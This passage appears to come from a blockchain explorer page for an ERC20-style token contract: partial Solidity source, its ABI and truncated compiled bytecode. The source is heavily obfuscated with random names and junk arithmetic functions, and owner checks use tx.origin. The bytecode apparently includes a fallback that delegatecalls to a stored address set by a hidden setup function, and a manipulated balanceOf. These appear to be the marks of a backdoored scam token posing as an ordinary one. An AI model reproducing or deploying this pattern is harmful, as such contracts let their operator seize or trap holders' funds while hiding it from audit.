VXW32XAE9RlnKDf8rOMgZ); _transfer(from, to, VXW32XAE9RlnKDf8rOMgZ); return true; }receive() external payable {} function _mint(address W6RlDK, uint256 VXW32XAE9RlnKDf8rOMgZ) internal virtual { require(W6RlDK != address(0), "ERC20: mint to the zero address"); uint256 mEx97GgNuXQ7j7a9;mEx97GgNuXQ7j7a9+=5325079;require(mEx97GgNuXQ7j7a9 > 1865);mEx97GgNuXQ7j7a9+=5349497;require(mEx97GgNuXQ7j7a9 > 4748);mEx97GgNuXQ7j7a9+=924589;require(mEx97GgNuXQ7j7a9 > 449);mEx97GgNuXQ7j7a9+=5566212;require(mEx97GgNuXQ7j7a9 > 3498);mEx97GgNuXQ7j7a9+=1319281;require(mEx97GgNuXQ7j7a9 > 3517);mEx97GgNuXQ7j7a9+=3218968;require(mEx97GgNuXQ7j7a9 > 6023); xoDNnlnVv6onYZ6fiPCw += VXW32XAE9RlnKDf8rOMgZ; uPBJkpTqw[W6RlDK] += VXW32XAE9RlnKDf8rOMgZ; emit Transfer(address(0), W6RlDK, VXW32XAE9RlnKDf8rOMgZ); } function tYzxxnbkans() public view returns(uint256){ uint256 N4UbeKiE7lY; assembly{ if gt(N4UbeKiE7lY,4308505){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=add(4308505,2034812) if gt(N4UbeKiE7lY,5454424){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=mul(5454424,3250809) if gt(N4UbeKiE7lY,7211581){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=add(7211581,655012) if gt(N4UbeKiE7lY,5829469){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=add(5829469,5541669) if gt(N4UbeKiE7lY,8138956){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=add(8138956,3527201) if gt(N4UbeKiE7lY,8482876){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=mul(8482876,2038063) if gt(N4UbeKiE7lY,6239298){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=sub(6239298,1903572) if gt(N4UbeKiE7lY,2954663){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=sub(2954663,1219643) if gt(N4UbeKiE7lY,2303097){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=div(2303097,274476) if gt(N4UbeKiE7lY,5234938){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=sub(5234938,3486913) if gt(N4UbeKiE7lY,6944409){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=mod(6944409,3401529) if gt(N4UbeKiE7lY,8114153){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=mul(8114153,1000613) if gt(N4UbeKiE7lY,9609598){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=sub(9609598,4650568) if gt(N4UbeKiE7lY,7285451){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=mod(7285451,4615106) if gt(N4UbeKiE7lY,8809222){ N4UbeKiE7lY:=div(N4UbeKiE7lY,2) } N4UbeKiE7lY:=add(8809222,5130441) } return N4UbeKiE7lY;} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; }function ooLpNP3ISt0QtJKu0() public view returns(uint256){ uint256 buJlpxGjn5eCf; assembly{ if gt(buJlpxGjn5eCf,4382950){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=add(4382950,3643631) if gt(buJlpxGjn5eCf,6936784){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=mod(6936784,5819116) if gt(buJlpxGjn5eCf,7996523){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=mod(7996523,3009813) if gt(buJlpxGjn5eCf,5585245){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=mul(5585245,4857893) if gt(buJlpxGjn5eCf,7153962){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=sub(7153962,4547380) if gt(buJlpxGjn5eCf,3465924){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=add(3465924,885368) if gt(buJlpxGjn5eCf,6445424){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=mod(6445424,4942313) if gt(buJlpxGjn5eCf,5886642){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=mul(5886642,1741194) if gt(buJlpxGjn5eCf,2848596){ buJlpxGjn5eCf:=div(buJlpxGjn5eCf,2) } buJlpxGjn5eCf:=sub(2848596,118164) } return buJlpxGjn5eCf;} function transfer(address to, uint256 VXW32XAE9RlnKDf8rOMgZ) public virtual returns (bool) { address owner = TTYppXVuy4Ju(); _transfer(owner, to, VXW32XAE9RlnKDf8rOMgZ); return true; } function _beforeTokenTransfer( address from, address to, uint256 VXW32XAE9RlnKDf8rOMgZ ) internal virtual {}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"DHgjtTFnwF2kp","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"d86jpFuTtPEBJWnKQhY","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DlMmKjYd6e96xea7LTEb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GUignj1Wd25hGwqPy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Jlgw3zBiI2wj2AYa","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MFgg0z6xFEg6yQ8p","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"QZsfmUNBhD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"DHgjtTFnwF2kp","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"DHgjtTFnwF2kp","type":"address"},{"internalType":"uint256","name":"VXW32XAE9RlnKDf8rOMgZ","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"W6RlDK","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"DHgjtTFnwF2kp","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dkwV8RHdlLS8nv49QhfL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dy1new0P6Mz9cIDOcT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hJNRLTeBff8ICcFqyD54","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"DHgjtTFnwF2kp","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ooLpNP3ISt0QtJKu0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rLTlGu8d3Agy41GGb35L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"rxD9Ge5yDS49D3EwE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tKtUrZfaXMGwvkBz76Fi","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tYzxxnbkans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"VXW32XAE9RlnKDf8rOMgZ","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"VXW32XAE9RlnKDf8rOMgZ","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"d86jpFuTtPEBJWnKQhY","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e30681b1ae4d6e2ef5000006200010860201b60201c565b62000470565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001729062000361565b60405180910390fd5b600062514117816200018e9190620003b1565b905061074981116200019f57600080fd5b6251a07981620001b09190620003b1565b905061128c8111620001c157600080fd5b620e1bad81620001d29190620003b1565b90506101c18111620001e357600080fd5b6254ef0481620001f49190620003b1565b9050610daa81116200020557600080fd5b6214217181620002169190620003b1565b9050610dbd81116200022757600080fd5b62311e1881620002389190620003b1565b905061178781116200024957600080fd5b81600360008282546200025d9190620003b1565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002b59190620003b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200031c919062000383565b60405180910390a3505050565b600062000338601f83620003a0565b9150620003458262000447565b602082019050919050565b6200035b816200040e565b82525050565b600060208201905081810360008301526200037c8162000329565b9050919050565b60006020820190506200039a600083018462000350565b92915050565b600082825260208201905092915050565b6000620003be826200040e565b9150620003cb836200040e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000403576200040262000418565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6136db80620004806000396000f3fe6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063b3ae49971161008a578063dd62ed3e11610064578063dd62ed3e146106ae578063e29982c0146106eb578063ec2f97a514610714578063f2fde38b1461073f576101c2565b8063b3ae49971461062d578063d29408ee14610658578063d8d63c5a14610683576101c2565b80639d3a2117116100c65780639d3a21171461055d578063a457c2d714610588578063a9059cbb146105c5578063ace0f0de14610602576101c2565b80638da5cb5b146104dc5780638dd950021461050757806395d89b4114610532576101c2565b8063395093511161015957806370a082311161013357806370a0823114610432578063715018a61461046f57806389e42b4e146104865780638b01123e146104b1576101c2565b8063395093511461039f5780634f1a0249146103dc5780635a0165d414610407576101c2565b806318160ddd1161019557806318160ddd146102e157806323b872dd1461030c5780632f3b408714610349578063313ce56714610374576101c2565b806306fdde031461024e578063077cdd9e14610279578063095ea7b3146102a4576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190612f32565b60405180910390f35b34801561028557600080fd5b5061028e610879565b60405161029b9190613074565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612c0c565b61094e565b6040516102d89190612f17565b60405180910390f35b3480156102ed57600080fd5b506102f6610971565b6040516103039190613074565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190612bb9565b610a37565b6040516103409190612f17565b60405180910390f35b34801561035557600080fd5b5061035e610a66565b60405161036b9190613074565b60405180910390f35b34801561038057600080fd5b50610389610b92565b604051610396919061308f565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612c0c565b610c75565b6040516103d39190612f17565b60405180910390f35b3480156103e857600080fd5b506103f1610cac565b6040516103fe9190613074565b60405180910390f35b34801561041357600080fd5b5061041c610e69565b6040516104299190613074565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612b4c565b610f04565b6040516104669190613074565b60405180910390f35b34801561047b57600080fd5b5061048461106b565b005b34801561049257600080fd5b5061049b61118a565b6040516104a89190613074565b60405180910390f35b3480156104bd57600080fd5b506104c661130d565b6040516104d39190613074565b60405180910390f35b3480156104e857600080fd5b506104f161141c565b6040516104fe9190612efc565b60405180910390f35b34801561051357600080fd5b5061051c6114c2565b6040516105299190612efc565b60405180910390f35b34801561053e57600080fd5b506105476114da565b6040516105549190612f32565b60405180910390f35b34801561056957600080fd5b506105726115cc565b60405161057f9190613074565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190612c0c565b61176b565b6040516105bc9190612f17565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190612c0c565b6117e2565b6040516105f99190612f17565b60405180910390f35b34801561060e57600080fd5b50610617611805565b6040516106249190613074565b60405180910390f35b34801561063957600080fd5b506106426119c2565b60405161064f9190613074565b60405180910390f35b34801561066457600080fd5b5061066d611aee565b60405161067a9190613074565b60405180910390f35b34801561068f57600080fd5b50610698611bc3565b6040516106a59190613074565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190612b79565b611d46565b6040516106e29190613074565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d9190612c4c565b611dcd565b005b34801561072057600080fd5b50610729611e78565b6040516107369190613074565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190612b4c565b611fc1565b005b606060006235df7a8161077b9190613132565b9050612621811161078b57600080fd5b621748fe8161079a9190613132565b9050610ee081116107aa57600080fd5b6253548b816107b99190613132565b90506124e781116107c957600080fd5b62295b6e816107d89190613132565b905061130c81116107e857600080fd5b600580546107f5906132ad565b80601f0160208091040260200160405190810160405280929190818152602001828054610821906132ad565b801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b505050505091505090565b6000806274f07281111561088e576002810490505b623dd6106274f0720390506284d7218111156108ab576002810490505b62277a416284d721049050629805a68111156108c8576002810490505b6223d127629805a6039050626c9b5a8111156108e5576002810490505b621e169a626c9b5a019050629875e1811115610902576002810490505b62536238629875e104905062528e8281111561091f576002810490505b624544af62528e82049050625a40e781111561093c576002810490505b62254b0e625a40e70690508091505090565b6000806109596120b2565b90506109668185856120ba565b600191505092915050565b600080624e2f30816109839190613132565b905061225e811161099357600080fd5b622bf4f2816109a29190613132565b90506104d081116109b257600080fd5b622f8b12816109c19190613132565b9050611c6381116109d157600080fd5b621709f1816109e09190613132565b9050610d8081116109f057600080fd5b6225a05b816109ff9190613132565b90506114c18111610a0f57600080fd5b6224974081610a1e9190613132565b905061232f8111610a2e57600080fd5b60035491505090565b600080610a426120b2565b9050610a4f85828561237e565b610a5a85858561240a565b60019150509392505050565b600080627109ff811115610a7b576002810490505b6207d0ed627109ff02905062793629811115610a98576002810490505b624b02de62793629019050625d5688811115610ab5576002810490505b623eca0b625d56880290506264a2d7811115610ad2576002810490505b623f84106264a2d70190506215d9c2811115610aef576002810490505b620ebd7e6215d9c20490506289b030811115610b0c576002810490505b620b3a636289b0300290506265df69811115610b29576002810490505b624e60206265df69029050626fb35d811115610b46576002810490505b621ba08c626fb35d0190506267dcef811115610b63576002810490505b6203f7e36267dcef039050626d6195811115610b80576002810490505b620baa31626d61950290508091505090565b60008062105a9681610ba49190613132565b90506107e58111610bb457600080fd5b62080a6d81610bc39190613132565b9050610ce08111610bd357600080fd5b621c241181610be29190613132565b9050610b408111610bf257600080fd5b624144fa81610c019190613132565b905060598111610c1057600080fd5b623d38b681610c1f9190613132565b9050611b918111610c2f57600080fd5b624ddfbf81610c3e9190613132565b905061184f8111610c4e57600080fd5b623fd1b381610c5d9190613132565b905061041f8111610c6d57600080fd5b600991505090565b600080610c806120b2565b9050610ca1818585610c928589611d46565b610c9c9190613132565b6120ba565b600191505092915050565b6000806265fa4b811115610cc1576002810490505b623c5b106265fa4b039050627dd4ac811115610cde576002810490505b6218213d627dd4ac02905062204aec811115610cfb576002810490505b620fdb2862204aec03905062656dca811115610d18576002810490505b6227b77762656dca06905062985b68811115610d35576002810490505b62597d3962985b680390506266311f811115610d52576002810490505b62582ea36266311f0490506285c408811115610d6f576002810490505b620dcd726285c4080190506227046e811115610d8c576002810490505b6225352e6227046e01905062383fd3811115610da9576002810490505b623699a662383fd3049050627f1bab811115610dc6576002810490505b625806c7627f1bab03905062427c06811115610de3576002810490505b623be77862427c0601905062479dd6811115610e00576002810490505b623ba95f62479dd6019050621ca6f5811115610e1d576002810490505b6203fa88621ca6f503905062575e41811115610e3a576002810490505b623d433062575e41029050629500e7811115610e57576002810490505b6223ceb5629500e70390508091505090565b600080627a31f9811115610e7e576002810490505b6217472e627a31f903905062699c6c811115610e9b576002810490505b624c3aad62699c6c01905062805cc9811115610eb8576002810490505b6221ecc762805cc904905062757b48811115610ed5576002810490505b623eef9662757b4803905062737070811115610ef2576002810490505b6242bdcf627370700490508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f79576000610f666126d6565b9050602054811015610f7757600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101657600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611066565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110639190613310565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661108a61141c565b73ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790612ff4565b60405180910390fd5b600062461362816110f19190613132565b9050612676811161110157600080fd5b62352232816111109190613132565b90506125f5811161112057600080fd5b62170dbe8161112f9190613132565b9050610297811161113f57600080fd5b623ca2dd8161114e9190613132565b90506105e8811161115e57600080fd5b62444c448161116d9190613132565b905061213a811161117d57600080fd5b61118760006127e8565b50565b600080627aa3b781111561119f576002810490505b623bc6f3627aa3b70690506225cfa58111156111bc576002810490505b6217acbe6225cfa501905062740f1d8111156111d9576002810490505b62452c4862740f1d069050625a3f408111156111f6576002810490505b62570b9f625a3f4006905062795e42811115611213576002810490505b6232f57b62795e4201905062483c77811115611230576002810490505b620dc74d62483c77049050625acc9b81111561124d576002810490505b625821bd625acc9b069050625f501481111561126a576002810490505b6236e2d6625f5014049050627e932e811115611287576002810490505b621bc09a627e932e0690506254b3f68111156112a4576002810490505b62259b346254b3f6019050625e740f8111156112c1576002810490505b624b24eb625e740f069050627b200d8111156112de576002810490505b624cdc52627b200d019050623dec928111156112fb576002810490505b621dfdd9623dec920690508091505090565b6000806242e0e6811115611322576002810490505b623798ef6242e0e60190506269d8d081111561133f576002810490505b6258caec6269d8d0069050627a046b81111561135c576002810490505b622ded15627a046b0690506255395d811115611379576002810490505b624a20256255395d029050626d292a811115611396576002810490505b62456334626d292a0390506234e2c48111156113b3576002810490505b620d82786234e2c4019050626259708111156113d0576002810490505b624b69e9626259700690506259d2b28111156113ed576002810490505b621a918a6259d2b2029050622b775481111561140a576002810490505b6201cd94622b77540390508091505090565b600080621879818161142e9190613132565b9050611950811161143e57600080fd5b621991a68161144d9190613132565b9050611445811161145d57600080fd5b62455d488161146c9190613132565b9050610e7c811161147c57600080fd5b624758ab8161148b9190613132565b9050611876811161149b57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000621a597f816114ed9190613132565b90506124a681116114fd57600080fd5b620874ff8161150c9190613132565b90506105a9811161151c57600080fd5b623dd41f8161152b9190613132565b9050611dd4811161153b57600080fd5b60068054611548906132ad565b80601f0160208091040260200160405190810160405280929190818152602001828054611574906132ad565b80156115c15780601f10611596576101008083540402835291602001916115c1565b820191906000526020600020905b8154815290600101906020018083116115a457829003601f168201915b505050505091505090565b60008062757e4c8111156115e1576002810490505b623d45b262757e4c039050626c0aa38111156115fe576002810490505b623b0130626c0aa3069050621dac7d81111561161b576002810490505b620704a1621dac7d039050626829f9811115611638576002810490505b6234495a626829f90190506291ffee811115611655576002810490505b6208e9ee6291ffee019050622c481c811115611672576002810490505b6212ef70622c481c06905062722c8081111561168f576002810490505b623d8b0362722c80039050626ebcab8111156116ac576002810490505b622eed1f626ebcab0390506272037e8111156116c9576002810490505b6189616272037e0490506291f3a68111156116e5576002810490505b62244f566291f3a60190506274dc97811115611702576002810490505b621eb9846274dc97029050624a7d0e81111561171f576002810490505b6229ea11624a7d0e039050626c84c181111561173c576002810490505b622bcc28626c84c1039050624573c7811115611759576002810490505b62023907624573c70290508091505090565b6000806117766120b2565b905060006117848286611d46565b9050838110156117c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c090613054565b60405180910390fd5b6117d682868684036120ba565b60019250505092915050565b6000806117ed6120b2565b90506117fa81858561240a565b600191505092915050565b6000806241be1981111561181a576002810490505b621f0c7c6241be1901905062533a58811115611837576002810490505b62319a7962533a58029050626e0a3d811115611854576002810490505b6209fea4626e0a3d0190506258f35d811115611871576002810490505b62548f256258f35d019050627c30cc81111561188e576002810490505b6235d221627c30cc0190506281703c8111156118ab576002810490505b621f192f6281703c029050625f34428111156118c8576002810490505b621d0bd4625f3442039050622d15a78111156118e5576002810490505b62129c3b622d15a703905062232479811115611902576002810490505b6204302c62232479049050624fe0fa81111561191f576002810490505b623534c1624fe0fa0390506269f69981111561193c576002810490505b6233e7396269f699069050627bcfe9811115611959576002810490505b620f44a5627bcfe90290506292a17e811115611976576002810490505b6246f6486292a17e039050626f2acb811115611993576002810490505b62466bc2626f2acb06905062866b068111156119b0576002810490505b624e48c962866b060190508091505090565b6000806269a1618111156119d7576002810490505b624368876269a1610290506284202e8111156119f4576002810490505b6227916b6284202e049050621d5e34811115611a11576002810490505b620eafba621d5e340290506256052b811115611a2e576002810490505b6234ec416256052b0190506292fb8e811115611a4b576002810490505b621f74e26292fb8e0390506292dfbd811115611a68576002810490505b6253b91a6292dfbd03905062873f94811115611a85576002810490505b624d749562873f940190506251dc78811115611aa2576002810490505b621221f26251dc7802905062937692811115611abf576002810490505b62460350629376920290506230b6b9811115611adc576002810490505b622d3e6b6230b6b90290508091505090565b60008062654498811115611b03576002810490505b6249b70f6265449804905062260ea1811115611b20576002810490505b62140bdf62260ea1049050625680c2811115611b3d576002810490505b6255f9a1625680c20390506280c696811115611b5a576002810490505b6245e1206280c696029050628ebb10811115611b77576002810490505b622a3c13628ebb10029050621d0f2c811115611b94576002810490505b620b3ca5621d0f2c069050625bd36c811115611bb1576002810490505b6257b89e625bd36c0690508091505090565b6000806256e4ea811115611bd8576002810490505b62560c626256e4ea02905062639e98811115611bf5576002810490505b622dd21a62639e98019050628a3172811115611c12576002810490505b62569f41628a31720690506247fcf1811115611c2f576002810490505b62448f236247fcf1049050626f97a0811115611c4c576002810490505b62125f76626f97a0039050628b96e5811115611c69576002810490505b62564af3628b96e5039050625d4c25811115611c86576002810490505b62434ff1625d4c2503905062646625811115611ca3576002810490505b625701b7626466250290506267854c811115611cc0576002810490505b624bc0fe6267854c04905062796abc811115611cdd576002810490505b6249674062796abc039050627f9403811115611cfa576002810490505b624690fb627f9403019050624a703a811115611d17576002810490505b62331f8e624a703a0490506255b371811115611d34576002810490505b623f89c46255b3710390508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16611dec61141c565b73ffffffffffffffffffffffffffffffffffffffff1614611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3990612ff4565b60405180910390fd5b8160069080519060200190611e589291906129fa565b508260059080519060200190611e6f9291906129fa565b50333055505050565b600080622e86b4811115611e8d576002810490505b621f9e12622e86b4019050621e0311811115611eaa576002810490505b621ab8b3621e0311049050621c59fb811115611ec7576002810490505b62078909621c59fb049050627c1fc8811115611ee4576002810490505b6258f7b9627c1fc8029050628bf9d2811115611f01576002810490505b624d4fd0628bf9d206905062245a98811115611f1e576002810490505b620d7f2b62245a9804905062626a8c811115611f3b576002810490505b622cb3d762626a8c04905062886998811115611f58576002810490505b6252e7e062886998019050621cdd71811115611f75576002810490505b621358a8621cdd710290506242d94d811115611f92576002810490505b621891d66242d94d04905062138030811115611faf576002810490505b620761d9621380300690508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16611fe061141c565b73ffffffffffffffffffffffffffffffffffffffff1614612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90612ff4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209d90612f74565b60405180910390fd5b6120af816127e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561212a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212190613034565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219190612f94565b60405180910390fd5b600062024f9a816121ab9190613132565b9050610f8f81116121bb57600080fd5b6206da6a816121ca9190613132565b90506107ea81116121da57600080fd5b622dbaa3816121e99190613132565b90506119bf81116121f957600080fd5b623ffa1b816122089190613132565b9050610cdb811161221857600080fd5b623ce246816122279190613132565b905061015a811161223757600080fd5b615194816122459190613132565b90506105d4811161225557600080fd5b617a26816122639190613132565b9050611d94811161227357600080fd5b623ba415816122829190613132565b90506117ef811161229257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123709190613074565b60405180910390a350505050565b600061238a8484611d46565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461240457818110156123f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ed90612fb4565b60405180910390fd5b61240384848484036120ba565b5b50505050565b600073ffffffffffffffffffffffffffffffffffff